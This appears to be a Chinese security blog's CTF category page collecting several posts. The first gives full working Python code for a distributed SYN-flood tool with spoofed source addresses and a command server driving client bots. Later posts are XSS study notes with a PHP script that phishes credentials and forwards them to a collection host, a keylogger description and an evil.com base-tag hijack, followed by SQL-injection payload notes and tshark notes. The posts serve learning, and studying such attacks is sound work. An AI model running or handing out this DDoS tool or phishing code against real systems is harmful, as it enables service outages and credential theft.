分类目录归档:CTF

DDoS Attacker v0.1

DDoS Attacker v0.1

仓库链接🔗

To ~~~~GitHub

仓库结构

  • ddos_client_v0.1.py —— DDoS客户端
  • ddos_server_v0.1.py —— DDoS服务端
  • test/ —— 存放单独模块的测试脚本
  • drafts/ —— 存放实现过程中的“草稿”
  • refer/ —— 存放原作者参考的代码

攻击原理

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在下面补充。SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。 攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。
SYN报文请求过程
上图,就是SYN报文请求过程。SYN是TCP包的一个类型,表示建立连接。ACK表示响应。

补充:TCP三次握手以及TCP/IP族相关

TCP/IP协议族

TCP/IP是一个协议族。因为TCP/IP协议包括TCP、IP、UDP、ICMP、RIP、TELNETFTP、SMTP、ARP、TFTP等许多协议,这些协议一起称为TCP/IP协议。
其中TCP全称为Transport Control Protocol, 传输控制协议。位于OSI参考模型的第4层,传输层。下图为TCP/IP对应OSI中的层以及功能介绍:
TCP/IP对应OSI中的层以及功能

三次“建立”四次“分手”

接下来,我们讲回TCP协议,TCP需要三次握手才能建立,断开断开连接需要四次握手,过程如下:
TCP三次连接四次分手

TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接,以下详细的文字描述:

位码即tcp标志位,有6种标示:SYN(synchronous建立联机) ACK(acknowledgement 确认) PSH(push传送) FIN(finish结束) RST(reset重置) URG(urgent紧急)Sequence number(顺序号码) Acknowledge number(确认号码)

第一次握手:主机A发送位码为syn=1,随机产生seq number=1234567的数据包到服务器,主机B由SYN=1知道,A要求建立联机;

第二次握手:主机B收到请求后要确认联机信息,向A发送ack number=(主机A的seq+1),syn=1,ack=1,随机产生seq=7654321的包;

第三次握手:主机A收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,主机A会再发送ack number=(主机B的seq+1),ack=1,主机B收到后确认seq值与ack=1则连接建立成功。

完成三次握手,主机A与主机B开始传送数据。

工具介绍

Scapy是一个交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。本文环境为Ubuntu18.04LTS Desktop, VBox。可以使用apt或者pip安装:

# pip安装推荐推荐虚拟环境安装,安全也要讲究低耦合
pip3 install scapy
# 或者
sudo apt-get install python-scapy
# 运行scapy需要sudo权限
sudo scapy
# 运行会出现一些警告信息,先不用管

Tips 踩坑小提示:

使用sudo pip安装,会安装到系统全局环境。如果我们激活虚拟环境后,再sudo pip,同样也会安装到系统全局环境,所以不要做按耳盗铃的事情哦~
但有时候,比如scapy,需要sudo权限执行,但pip install scapy安装后使用sudo scapy会显示command not found。但我们又不想把它安装到全局环境,那么解决办法是?

答案:sudo + 虚拟环境下的 bin/scapy。 e.g. sudo ./venv/bin/scapy

(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ ls
activate      activate.fish  activate_this.py  easy_install      pip   pip3.6  python3    python-config  UTscapy
activate.csh  activate.ps1   activate.xsh      easy_install-3.6  pip3  python  python3.6  scapy          wheel
(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ sudo scapy
sudo: scapy: command not found
(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ sudo ./scapy 

构造一个SYN包,发送测试一下:

# 构造一个SYN包
>>> pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S")
>>> send(pkt)

发送测试,成功。

(prc37) satan1a@satan1a-VirtualBox:~/projects/python_projects/ddos_attacker/prc37/bin$ sudo ./scapy 
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.
>>> pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S")
>>> send(pkt)
.
Sent 1 packets.
>>> 

但真的正确吗?
表面上看是成功了,但是这种方式就违背一条信息安全里很重要的原则:最小权限原则,即系统中所有的程序和特权用户应当仅获得完成相应工作所需的最少的权限。
使用上述的这种方式,我们使用sudo暂时向系统借了权限,执行虚拟环境里的程序,那么一个本来就要求更高权限的程序才能正常工作的程序,为什么要隔离在相对没有权限的环境里,然后又人为帮助它去翻过虚拟环境的高墙去做更高权限的事情呢?

扩展:最小权限原则与sudo的使用

扩展:我们知道,sudo存在的一大目的,就是为了安全,尽可能地防止误操作和权限滥用。但同时我们也应该明白,什么时候需要给他较低权限,什么时候要给它较高权限,以及什么时候可以用sudo来暂时提高权限。
e.g. 在Ubuntu中,不是每个用户都可以使用sudo, 因为操作nginx等这种需要很高权限的服务时,只有指定的,被授予权限来暂时提高权限的用户才可以使用sudo来对nginx操作,这就是遵循了最小权限原则————权限最小,但能正常工作。
那么我们在虚拟环境下使用pip install scapy就违背了后者,不能正常工作。在这种情况下,root进不去虚拟环境,虚拟环境理论上又不能用sudo“越权”。所以,我们判断是否需要sudo安装的判断条件就是三个:
1. 用户的权限最小化
2. 程序能正常工作
3. 如果同时满足的情况需要sudo,就可以直接使用sudo安装。

DDoS实现思路

DDoS全称是Distributed Denial of Service,翻译成中文就是分布式拒绝服务,简单地说,就是调动多台主机一起发起攻击。
如何协同多台主机一起发起攻击呢?一种传统的方法就是控制多台傀儡机,同时进行SYN泛洪攻击,还有一种模式叫做HIVEMIND。

通过HIVEMIND模式,用户可以通过连接到一台 IRC(Internet Relay Chat services)服务器,当有用户发送命令,任何以HIVEMIND模式连接到IRC服务器的成员都会立即攻击该目标。

简单地说,一台主机可以作为Socket Server,其他主机作为Client,Client使用socket方式连接到Server,接收到信息后发起攻击。理想情况,就是志同道合的同志,可以随时加入攻击过程,只需执行客户端连接脚本即可开始攻击。

前期准备

实现一次SYN泛洪攻击

具体步骤及介绍查看代码内注释,##注释内容为测试的代码

import os
import random
from scapy.all import *
def synFlood(tgt, dport):
    # 伪造的源IP地址列表,同时也是保护攻击者的一种方式
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    # 从不同的源端口发送
    for sPort in range(1024, 65535):
        # 随机选择主机地址
        index = random.randrange(4)
        # 一个完整的TCP包由一个IP包和TCO包组成
        # 1. 构造IP包,设置源地址src和目的地址dst
        ipLayer = IP(src=srcList[index], dst=tgt)
        ## print("IP layer is " + str(ipLayer))
        # 2. 构造TCP包,设置发送源端口sport和目的源端口dport,flag值设为S表示发送SYN数据包
        tcpLayer = TCP(sport=sPort, dport = dport, flags="S")
        ## print("TCP layer is " + str(tcpLayer))
        # 3. 构造完整TCP包,IP包/TCP包
        packet = ipLayer / tcpLayer
        send(packet)
        print("Sent")
        ## print(sPort)

if __name__ == "__main__":
    synFlood("192.168.50.10", 80)

使用argparse命令行解析模块

首先,我们需要命令行解析模块,对我们的命令行输入作处理。Scapy原本是一个命令行的模式,但我们不像每次攻击都手动输入一大堆命令吧,使用脚本会更加方便,所以我们需要argparse模块,对我们的命令行输入做处理,然后“发送”到Scapy中。

由于我们需要的是一对多模式(Server -> Client),首先我们规定好命令行格式:

#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>

接下来进行使用argparse的训练:
代码如下:

# 导入argparse模块
import argparse
# 新建一个ArgumentParser对象,description是对命令行解析的一个描述信息,通常在使用-h命令时显示
parser = argparse.ArgumentParser(description="Process some integers.")
# 增加一个参数
parser.add_argument('-p', dest='port', type = int, help = 'An port number!')
# 解析命令行输入
args = parser.parse_args()
print("Port: ", args.port)

实现效果如下:

$ sudo python argparse_test.py -h
usage: argparse_test.py [-h] [-p PORT]

Process some integers.

optional arguments:
  -h, --help  show this help message and exit
  -p PORT     An port number!

$ sudo python argparse_test.py -p 123
Port:  123

使用socket模块

使用socket实现网络信息交换,从而实现服务器与客户端的信息通信。
使用socket需要指定IP地址、端口号、协议类型。
以下为客户端的实现代码:

import socket
# 创建socket对象,AF_INET表示使用IPV4对象,SOCK_STREAM表示使用的是基于流
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('192.168.43.61', 7786))

服务端代码:

import socket

# 服务器地址列表
cliList = []
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定IP和端口,0.0.0.0表示绑定到所有的网络地址,但端口需要不被占用
s.bind(('0.0.0.0', 7786))

# 开启监听器,设置最大连接数10
s.listen(10)

# 循环等待新的连接,且将已连接的对象添加到列表中
while True:
    # 接受一个新的连接
    sock, addr = s.accept()
    # 添加新的连接到列表
    cliList.append(sock)
    ## 测试:显示已连接的客户机IP
    for client_ip in cliList:
        print("Cliend IP: " + str(client_ip))

具体实现

服务端实现

终于到攻击器的具体实现阶段啦,首先我们编写Server端代码。
具体的实现思路和流程,都写在代码内的注释中:

import socket
import argparse
from threading import Thread

socketList = []

'''
5. 第五步,实现发送命令的函数
便利socketList,将每个socket都调用一次send将命令发送出去
'''
# def sendCmd(cmd):
#     print("Send command......")
#     for sock in socketList:
#         sock.send(cmd.encode = ('utf-8'))

def sendCmd(cmd):
    print("Send command......")
    for sock in socketList:
        sock.send(cmd.encode('UTF-8'))    

'''
4. 第四步,实现等待客户端的函数
循环等待客户端连接,并判断socket是否在socketList已存储过,没有则添加
'''
def waitConnect(s):
    while True:
        sock, addr = s.accept()
        if sock not in socketList:
            socketList.append(sock)



'''
1. 第一步,编写主函数
创建socket,绑定所有网络地址和58868端口并开始监听;
新开一个线程等待客户端的连接,以免阻塞我们输入命令(注意)
'''
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', 58868))
    s.listen(1024)
    t = Thread(target=waitConnect, args = (s, ))
    t.start()


    '''
    2. 第二步
    将新开的线程中连接进来的socket添加到一个list中
    并检查一下socket长度,需要至少一个客户端连接
    '''
    print('Wait at least a client connection!')
    # 若没有客户端连接,则
    while not len(socketList):
        pass
    print('It has been a client connection!')


    '''
    3. 第三步
    循环等待输入命令,输入后判断是否符合命令格式的基本要求(自己定)
    满足,则把命令发送到所有客户端
    '''
    while True:
        print("=" * 50)
        print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')


        # 等待输入的命令
        cmd_str = input('Please input command: ')
        if len(cmd_str):
            if cmd_str[0] == '#':
                sendCmd(cmd_str)


if __name__ == "__main__":
    main()

客户端实现

同样,具体的实现思路和流程,都写在代码内的注释中。
客户端实现代码如下:

# -*- coding: utf-8 -*-
import sys
import random
import socket
import argparse
from multiprocessing import Process
from scapy.all import *

import os
isWorking = False
curProcess = None

# SYN flood attack
def synFlood(tgt,dPort):
    print('='*100)
    print('The syn flood is running!')
    print('='*100)
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer 
        send(packet)

'''
3. 第三步
创建全部变量curProcess,用于判断是否有进程正在发起SYN泛洪攻击
循环等待接受命令,接收到的数据类型为byte型,需要对其进行解码,解码后才为字符串
'''
# Process Command
def cmdHandle(sock, parser):
    global curProcess
    # TODO
    count = 0
    while count <= 20:
        data = sock.recv(1024).decode('utf-8')
        # 接收到的数据长度为0,则跳过后续内容,重新接收;
        if len(data) == 0:
            print('The data is empty')
            return

        # 接收到的数据长度不为0,则判断是否有命令基本格式的特征#,满足则用ArgumentParser对象解析命令
        if data[0] == '#':
            try:
                # Parse Command
                options = parser.parse_args(data[1:].split())
                m_host = options.host
                m_port = options.port
                m_cmd = options.cmd

                '''
                4. 第四步
                判断命令参数解析后,是start命令还是stop命令
                首先,判断当前是否有进程在运行,如果有进程判断进程是否存活
                '''
                # DDoS Start Command
                if m_cmd.lower() == 'start':
                    # 如果当前有进程正在发起SYN泛洪攻击,我们就先结束这个进程,并清空屏幕,再启动一个进程
                    if curProcess != None and curProcess.is_alive():
                        # 结束进程
                        curProcess.terminate()
                        curProcess = None
                        os.system('clear')
                    print('The synFlood is already started')
                    p = Process(target=synFlood, args=(m_host, m_port))
                    p.start()
                    curProcess = p
                    # TODO
                    count = count+1

                # DDoS Stop Command
                elif m_cmd.lower() == 'stop':
                    if curProcess.is_alive():
                        curProcess.terminate()
                        os.system('clear')
            except:
                print('Failed to perform the command!')


'''
1. 第一步  
创建ArgumentParser对象,设置好需要解析的命令参数
'''
def main():
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest = 'host', type = str)
    p.add_argument('-p', dest = 'port', type = int)
    p.add_argument('-c', dest = 'cmd', type = str)

    '''
    2. 第二步
    创建socket,连接服务器
    '''
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ## 测试用,连接本地的58868端口
        s.connect(('127.0.0.1', 58868))
        print('To connect server was success!')
        print('=' * 50)
        cmdHandle(s, p)
    except:
        print('The network connected failed!')
        print('Please restart the script!')
        sys.exit(0)

if __name__ == "__main__":
    main()

测试使用

首先,我们规定了命令格式为:#-H xxx.xxx.xxx.xxx -p xxxx -c <start>
e.g. #-H 127.0.0.1 -p 8085 -c start\#-H 127.0.0.1 -p 8085 -c stop

首先执行server脚本,然后执行client脚本,等待连接,连接成功,即可在server端操控client进行攻击,示例如下:
1. 启动server

sudo python ddos_server_v0.1.py
  1. 启动client
sudo python ddos_client_v0.1.py
  1. 连接成功
    连接成功

  2. 进行攻击
    进行攻击

  3. 停止攻击
    停止攻击

Reference

[1]Blog.csdn.net. (2019). 网络篇——七层协议、四层协议、TCP、HTTP、SOCKET、长短连接 – 袁伏彪 —— 共享,共赢 – CSDN博客. [online] Available at: https://blog.csdn.net/bjyfb/article/details/6682913 [Accessed 25 Oct. 2019].
[2]Jb51.net. (2019). Python实现DDoS. [online] Available at: https://www.jb51.net/article/155870.htm [Accessed 25 Oct. 2019].
[3]Blog.csdn.net. (2019). TCP包的类型 (SYN, FIN, ACK, PSH, RST, URG) – lqglqglqg的专栏 – CSDN博客. [online] Available at: https://blog.csdn.net/lqglqglqg/article/details/48714611 [Accessed 25 Oct. 2019].

XSS 专题 1 – Part A

XSS基础

  1. 测试流程
    a. 找到网页上的输入点
    b. 输入一组 ”特殊字符(’ ” <>) + 唯一识别字符“, 提交后,查看返回的源码,是否有被过滤等处理
    // 此处之所以先检查特殊字符的过滤,而不是先尝试payload,是因为在一开始知道网站对特殊字符的处理情况,可以更好地选择测试语句
    c. 搜索定位到唯一识别字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
    d. 尝试payload 和 各种绕过
  2. get & post
    a. get 方式的xss更容易利用,一般是将带有XSS的URL伪装后发给目标
    b. POST方式的xss以表单方式提交,无法利用url
  3. 本质:输入 <-> 输出
  4. 存储型XSS
  5. DOM型XSS(本身是一个反射型,纯前端操作)
    a. 概念补充:DOM(Document Object Model)
    文档对象模型 (DOM) 是HTML和XML文档的编程接口。它提供了对文档的结构化的表述,并定义了一种方式可以使从程序中对该结构进行访问,从而改变文档的结构,样式和内容。
    DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将web页面和脚本或程序语言连接起来。
    dom tree
    每个元素都可与看做一个对象,每个对象都叫做一个节点(node)
    b. 区别:与反射型、XSS直接构造script不同,DOM型XSS是构造html,注入的是html
    本质:前端的输入通过DOM获取到,又通过DOM输出了
    c. 应用场景:某些业务使用DOM获取浏览器输入(URL上)时,和反射型XSS相像
    应用场景

XSS漏洞测试

  1. cookie的窃取和利用
    i. GET方式
    get
    i. POST方式
    post

与GET型不同的是,我们无法直接通过URL发起攻击,需要伪造表单提交页面,红圈划起来的部分与GET相同

  1. 钓鱼攻击🎣
    i. src属性中写入钓鱼外链,跨过同源策略
    ii. 方式1: 发送认证框

    <?php
    error_reporting(0);
    // var_dump($_SERVER);
    if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
    //发送认证框,并给出迷惑性的info
        header('Content-type:text/html;charset=utf-8');
        header("WWW-Authenticate: Basic realm='认证'");
        header('HTTP/1.0 401 Unauthorized');
        echo 'Authorization Required.';
        exit;
    } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
    //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
        header("Location: http://pikachu.thereroad.com/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
        &password={$_SERVER[PHP_AUTH_PW]}");
    }
    ?>
    
  2. 获取键盘记录⌨️
    i. 关键代码,PHP中
    evet.keyCode获取键盘输入
    keycode
    rk.js 是恶意代码 -> 植入攻击站点中,获取用户键盘输入并发送到攻击者后台(rkserver.php)
    rk
    rkserver.php中,设置为允许被跨域访问,又因为攻击站点http://www.a.com本身也是攻击者自己搭建的,属于相同源,因此,http://www.a.com可以通过rk.js操控http://www.a.com/rkserver.php
    rkserver

  3. XSS 盲打
    i. 盲打不是一种XSS类型,而是一种攻击场景 ——> 我们的跨站脚本不在前台输出,在后台页面、管理员处输出。

XSS 构造技巧

  1. 利用字符编码
    a. 核心思路:
    标签被编码后,服务端不一定过滤。当浏览器对该编码识别时,会翻译成正常的标签,从而执行
    b. ⚠️注意:在使用编码时需要注意编码在输出点是否会被正常识别和翻译!
    即,服务端你或许成功绕过了过滤,成功输入了,但一定要注意输出点,浏览器端能不能翻译成功。
  2. 绕过长度限制
  3. 使用标签
    a. 标签不经常使用,功能是定义页面上的所有使用“相对路径”标签的hositng主机地址
    b. 例如:
    <base href="https://timgsa.baidu.com" />
    <img src="/timg?image&quality=80&size=b9999_10000&sec=1558615227&di=81734ea0ddbda14f8149ea303ee78710&imgtype=jpg&er=1&src=http%3A%2F%2Fb-ssl.duitang.com%2Fuploads%2Fitem%2F201505%2F20%2F20150520105805_wunTK.jpeg" />

    c. 标签将指定其后的所有标签,默认从其href取URL,并且base标签可以用在页面的所有位置
    // 续接Part B //
    d. 攻击者在页面插入标签之后,可以在远程服务器上伪造图片、链接或JS脚本,劫持正常页面中的所有使用“相对路径”的标签,比如:
    <base href="http://www.evil.com"/>
    ...
    <script src=x.js><script>
    <img src="/img/y.jpg"/>
    ...

    e. 例子
    example
  4. 大小写
  5. 闭合绕过
  6. htmlspecialchars绕过(PHP中)
    i. htmlspecialchars() 函数,把预定义的字符转换为HTML实体
    ii. 直接把前端的输入经常处理,不加任何类型参数,则为默认类型,如:
    $ok = htmlspecialchars($_GET[‘message’])
    默认类型仅编码双引号,不编码单引号,是攻击的一个点
    iii. 例子:
    example2
    首先,输入一些敏感字符来试探一下过滤情况,上图红圈中的&quot就是htmlspecialchars函数对双引号进行的转义,而对单引号没有进行转义。接下来我们构造:
    poc
    此处为href输出点,利用单引号闭合

XSS防范措施

  1. 总的原则:
    输入作过滤,输出作转义
    过滤:根据业务需求作过滤
    转义:所有输出到前端的数据都根据输入点进行转义。如,输出到html中,要进行html实体转义,输入到js中,要进行js转义
  2. 具体实例 – href输出
    a. <a>标签的href为输出点的话,可以进行XSS注入(例如注入 javascript:alert(123))
    b. 防范:因为在href属性中常常只写入超链接,我们可以只允许http/https开头的协议才允许从这个地方输出。其次,再进行htmlspecialchars处理
  3. 具体实例 – JS输出
    a. JS注入的关键就是去构造闭合
    b. JS不会对字符实体编码进行解释,因此我们的JS输入需要进行JS转义
    c. 如果直接进行HTML实体编码,虽然可以解决XSS问题,但实体编码后的内容不会在JS中翻译,导致前端输入的内容在后台失效
    d. —> 所以,在JS的输出点,应该对特殊字符进行转义,使用
  4. 总的来说,XSS的防范,就是要注意输入点和输出点。输入作过滤,输出作转义。

2019寒假班0x1

0. WEB应用基础架构
– URL

○ URL编码
%3d =
%25 %

+ 也等于 空格
– HTTP协议

○ 请求报文
§ HOST 请求的主机地址
User-Agent 产生请求的浏览器类型
○ 请求内容
§ contact-type 内容的格式
○ 响应报文
§ 状态行
□ 状态码
304 使用本地缓存
○ 响应头部
§ Apache不经配置,会暴露服务器版本号 <-信息搜集
– 会话技术
○ Cookie
保存在客户端浏览器
○ Session
保存在服务器端

cookie 和session 的区别:

§ cookie数据存放在客户的浏览器,用来记录用户的一些信息上;session是保存在服务端上的数据,用来跟踪用户的专业,这个数据可以保存在集群、数据库、文件中。

§ cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗
考虑到安全应当使用session。

§ session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能
考虑到减轻服务器性能方面,应当使用COOKIE。

§ 单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。

§ 建议:
将登陆信息等重要信息存放为SESSION
其他信息如果需要保留,可以放在COOKIE中
– FireFox插件
cookie manager
web deleloper
hackbar
noscript

– XSS
https://xz.aliyun.com/t/1672
○ 反射型
○ 存储型
○ DOM型
§ 对服务不可见
§ 基于文档对象模型Document Object Model(DOM)的一种漏洞
§ 通过URL传入参数去控制触发
– 如何寻找XSS?
○ 寻找web应用上的输入和输出口,如有原义输出,则必有XSS漏洞
– XSS 输出点
○ html
○ 事件中
○ 属性中
– BeEF

SQL
http://pupiles.com/sql.html
0. 判断数据库类型
– 端口
Oracle 1521
SQL Server 1433
MySQL 3306
pointbase 9092
DB2 5000
– 报错

1. 寻找注入点
– 找可控参数
get post

– 判断是否进行了SQL执行
○ 简单的逻辑运算
§ EX. ?id=1 ?id=2-1 ?id=3-2
2. 确定注入点
– 区分数据类型
– 时间延迟

以下对MySQL
3. 联合注入
union

4. 报错注入
– UPDATAXML()
– https://blog.csdn.net/whatday/article/details/63683187

5. 盲注
https://blog.csdn.net/sdb5858874/article/details/80656144
– 布尔盲注
利用回显的不同推测SQL语句执行的结果是True还是False
ex. payload: select * from users where user=’xx’ and pass>’123’#’

– 布尔盲注过程
可使用二分法
○ 判断数据库个数
(select count(schema_name) from information_schema.schemata)>n
n 为数据库个数,当数据库个数大于n时,页面显示正常
○ 判断数据库名有多少字符
(select length(schema_name) from information_schema.s chemata limit 0,1)> n
该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常
字符位空白,使用substr()会返回false,编写脚本时可以 以此简化
○ 逐个判断字符
(select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1),1,1)))>105
ascii()将返回字符串的ascii值
第一个1,表示截取字符串的起始位置
第二个1,表示截取字符串长度
该语句作用:判断第一个库第一个字符是什么

– 时间盲注
页面不存在不同回显,但SQL语句被执行
其余同上

DNS-Log
http://ceye.io/
1. 在无回数据的情况下,我们可以通过DNS解析来传递数据,在MYSQL中,可以使用 LOAD_FILE() 来让服务器发送DNS解析

6. SQL注入防御
– 预编译 和 绑定变量
– 过滤和安全防御

7. SQLmap


文件包含
8. php文件包含函数

9. 伪协议
– 压缩包
zip协议,绝对路径,注意对锚点的URL编码
– zip://
– phar://
– data://
base()编码

10. 包含日志文件

11. 包含SESSION

12. 包含 /pros/self/environ
user-agent

13. 其它包含姿势
– 包含临时文件
– 包含SMTP(日志)
– 包含XSS
– 包含上传文件

14. 文件上传绕过
– 后缀绕过

15. 文件包含防御
– allow_url_include 和 allow_url_open 最小权限化

Tshark & TCPdump 学习笔记

Tshark & TCPdump
1. tshark -D 列出网卡(Windows中)
tshark -i ens33 捕获ens33网卡,在Linux中,ifconfig查看网卡代号 在windows中,tshark -D 查看网卡数字代号
tshark -w packets.pcap 捕获,并写入到当前目录的 packets.pcap 文件中,注意:需要对当前目录进行读写权限修改chmod -R
tshark -r 从文件中回读数据包
-c10 -c 限制在屏幕上显示的数据包数量,如-c10,只显示在捕获文件最开始的10个包
-V -v -V Tshark中显示冗余(包中的更多信息) -v Tcpdump中显示冗余(包中的更多信息)可以用多个v,增加显示层级,最多到3层,即
-vvv
-x -X -x Tshark中查看包的十六进制或Ascii形式 -X 为Tcpdump;Tcpdump 中也可以使用 -x(小写)只查看十六进制,-A 只查看Ascii
建议 在命令行用最少的信息显示最关心的内容,建议从默认的输出格式开始,当有特别的包需要深入分析时,再使用更详细的输出选项

  1. 名称解析
    ○ 定义:名称解析即是把(mac)地址和端口号转化为名称
    ○ -n 禁用Tshark的名称解析;Tcpdump中 -n 禁用IP名称解析
    -nn 禁用端口服务解析
    -N 禁用所有的名称解析功能,除非明确指明一些功能的启用
    Ex. sudo tshark -i 1 -Nt t:传输层(端口服务名称)解析,此命令,仅启用传输层解析

名称解析服务参考:
m MAC地址解析
n 网络地址解析
t 传输层(端口服务名称)解析
N 使用外网解析服务
C 使用当前DNS解析

  1. 应用(捕获+显示)过滤器
    Tshark
    -f 捕获过滤器 sudo tshark -ni ens33 -w packets.pcap -f “tcp port 80”
    -Y 显示过滤器 sudo tshark -ni 1 -w packets.pcap -Y “tcp.dstport == 80”

Tcpdump
‘ ‘ tcpdump 单引号构造,并附到命令最后,捕获、显示过滤器均如此 sudo tcpdump -r packets.pcap ‘tcp port 80’
-F 指定包含一系列过滤器的BPF文件 sudo tcpdump -nni ens33 -F dns_servers.bpf

技巧:
○ tcpdump可切将很大的捕获文件切小,然后再放到wireshark中分析
将一个包含大量各种类型的数据包,过滤需要的数据包出来另存为一个文件
Ex.
sudo tcpdump -r packets.pcap ‘tcp dst port 80’ -w http_packets.pcap

○ BPF文件中直接加注释是非法的,可以同时使用两份BPF文件,一份不包含任何注释,可载入到tcpdump中;另一份含有注释以供参考。

  1. 时间显示(仅Tshark)
    Tshark 默认显示相对(相对开始捕获时)时间戳
    -t -t 后加时间戳的值 Ex. -t ad 显示绝对时间

可用的时间显示格式
a 包被捕获的绝对时间(当前时区)
ad 包被捕获的绝对时间,带日期(当前时区)
d 自之前捕获的数据包以来的增量(时差)
dd 之前显示的数据包
e 亿元时间(1970年 1 月 1 日以来的秒数)
r 第一个数据包和当前数据包之间的运行时间
u 捕获数据包的绝对时间(UTC)
ud 带日期的捕获数据包的绝对时间(UTC)

  1. Tshark 中的总结统计
    ○ 使用 -z 参数,加上输出的名字即可生成统计信息
    ○ -z help 查看所有可用的统计
    ○ Ex.
    -z conv,ip 端点和会话
    -z http,tree 以表的形式分解HTTP请求和返回数据包
    -z follow,tcp,ascii,0 跟踪0号TCP流(会话统计最左列的序号表示一段流)
    -z follow,udp,ascii,192.168.1.5:23429 提供地址细节来知名要查看的数据流,如整个命令为 获取一个指明端点和端口的 UDP流

○ 常用的统计选项
ip_hosts,tree 在一段捕获中显示每个IP地址,并统计每个IP地址在所占流量的比例
io,phs 分层级统计在捕获文件中找到的所有协议
http,tree 显示关于HTTP请求和回应的统计
http_req,tree 显示每个HTTP请求和统计
smb,srt 显示关于Windows会话的SMB命令统计
endpoints,wlan 显示无线端点
expert 从捕获中显示专家信息(对话,错误等)